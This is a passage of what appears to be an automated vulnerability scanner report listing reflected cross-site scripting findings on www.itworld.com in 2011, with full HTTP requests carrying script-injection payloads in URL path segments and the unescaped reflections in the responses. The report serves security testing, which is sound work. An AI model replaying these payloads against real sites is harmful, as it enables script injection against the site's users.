Content-Type: text/html; charset=utf-8
Content-Length: 57595
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:08 GMT
X-Varnish: 1038159813
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
;
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_updatebcc74"-alert(1)-"f35ccd370cd/replace/jquery.form.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reques
...[SNIP]...

1.266. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.form.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload abb01"-alert(1)-"655f7d21f12 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_update/replaceabb01"-alert(1)-"655f7d21f12/jquery.form.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:38 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460338"
Content-Type: text/html; charset=utf-8
Content-Length: 57595
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:39 GMT
X-Varnish: 1038160727
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_update/replaceabb01"-alert(1)-"655f7d21f12/jquery.form.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s
...[SNIP]...

1.267. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.form.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 486ab"><script>alert(1)</script>4d9dddbc574 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_update/replace486ab"><script>alert(1)</script>4d9dddbc574/jquery.form.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:19 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460319"
Content-Type: text/html; charset=utf-8
Content-Length: 57815
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:23 GMT
X-Varnish: 1038160167
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace486ab"><script>alert(1)</script>4d9dddbc574/jquery.form.js?h"/>
...[SNIP]...

1.268. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.form.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 99468"-alert(1)-"f146fb09d0e was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_update/replace/jquery.form.js99468"-alert(1)-"f146fb09d0e?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460355"
Content-Type: text/html; charset=utf-8
Content-Length: 57596
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:59 GMT
X-Varnish: 1038161338
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
;
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_update/replace/jquery.form.js99468"-alert(1)-"f146fb09d0e";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.269. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.form.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a9fe"><script>alert(1)</script>087fd6e765d was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_update/replace/jquery.form.js8a9fe"><script>alert(1)</script>087fd6e765d?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460346"
Content-Type: text/html; charset=utf-8
Content-Length: 57815
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:47 GMT
X-Varnish: 1038161055
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js8a9fe"><script>alert(1)</script>087fd6e765d?h"/>
...[SNIP]...

1.270. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97a15"-alert(1)-"c4209925e04 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites97a15"-alert(1)-"c4209925e04/all/modules/contrib/jquery_update/replace/jquery.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:31 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460031"
Content-Type: text/html; charset=utf-8
Content-Length: 57539
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:39 GMT
X-Varnish: 1959723482
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites97a15"-alert(1)-"c4209925e04/all/modules/contrib/jquery_update/replace/jquery.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We coul
...[SNIP]...

1.271. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8a68"><script>alert(1)</script>f1d83c45d04 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesf8a68"><script>alert(1)</script>f1d83c45d04/all/modules/contrib/jquery_update/replace/jquery.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:15 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460015"
Content-Type: text/html; charset=utf-8
Content-Length: 57759
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:20 GMT
X-Varnish: 1959722820
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesf8a68"><script>alert(1)</script>f1d83c45d04/all/modules/contrib/jquery_update/replace/jquery.js?h"/>
...[SNIP]...

1.272. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9956"><script>alert(1)</script>59c0889846b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contribf9956"><script>alert(1)</script>59c0889846b/jquery_update/replace/jquery.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 57760
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:33 GMT
X-Varnish: 252446269
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contribf9956"><script>alert(1)</script>59c0889846b/jquery_update/replace/jquery.js?h"/>
...[SNIP]...

1.273. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c1ae5"-alert(1)-"bc3b49df1e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contribc1ae5"-alert(1)-"bc3b49df1e/jquery_update/replace/jquery.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:00 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460180"
Content-Type: text/html; charset=utf-8
Content-Length: 57535
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:06 GMT
X-Varnish: 252446862
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contribc1ae5"-alert(1)-"bc3b49df1e/jquery_update/replace/jquery.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page y
...[SNIP]...

1.274. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1aea"><script>alert(1)</script>74d016604a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_updatea1aea"><script>alert(1)</script>74d016604a/replace/jquery.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460210"
Content-Type: text/html; charset=utf-8
Content-Length: 57756
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:33 GMT
X-Varnish: 252447434
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_updatea1aea"><script>alert(1)</script>74d016604a/replace/jquery.js?h"/>
...[SNIP]...

1.275. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2ce2e"-alert(1)-"e18d3a4169 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_update2ce2e"-alert(1)-"e18d3a4169/replace/jquery.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:41 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460221"
Content-Type: text/html; charset=utf-8
Content-Length: 57536
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:43 GMT
X-Varnish: 252447723
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
;
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_update2ce2e"-alert(1)-"e18d3a4169/replace/jquery.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested."
...[SNIP]...

1.276. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fb836"-alert(1)-"8c2f96faa82 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_update/replace/jquery.jsfb836"-alert(1)-"8c2f96faa82?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:24 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460324"
Content-Type: text/html; charset=utf-8
Content-Length: 57546
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:00 GMT
X-Varnish: 1038160373
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
6-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_update/replace/jquery.jsfb836"-alert(1)-"8c2f96faa82";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.277. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a2fc7"-alert(1)-"157a275d6c6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitesa2fc7"-alert(1)-"157a275d6c6/all/modules/contrib/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
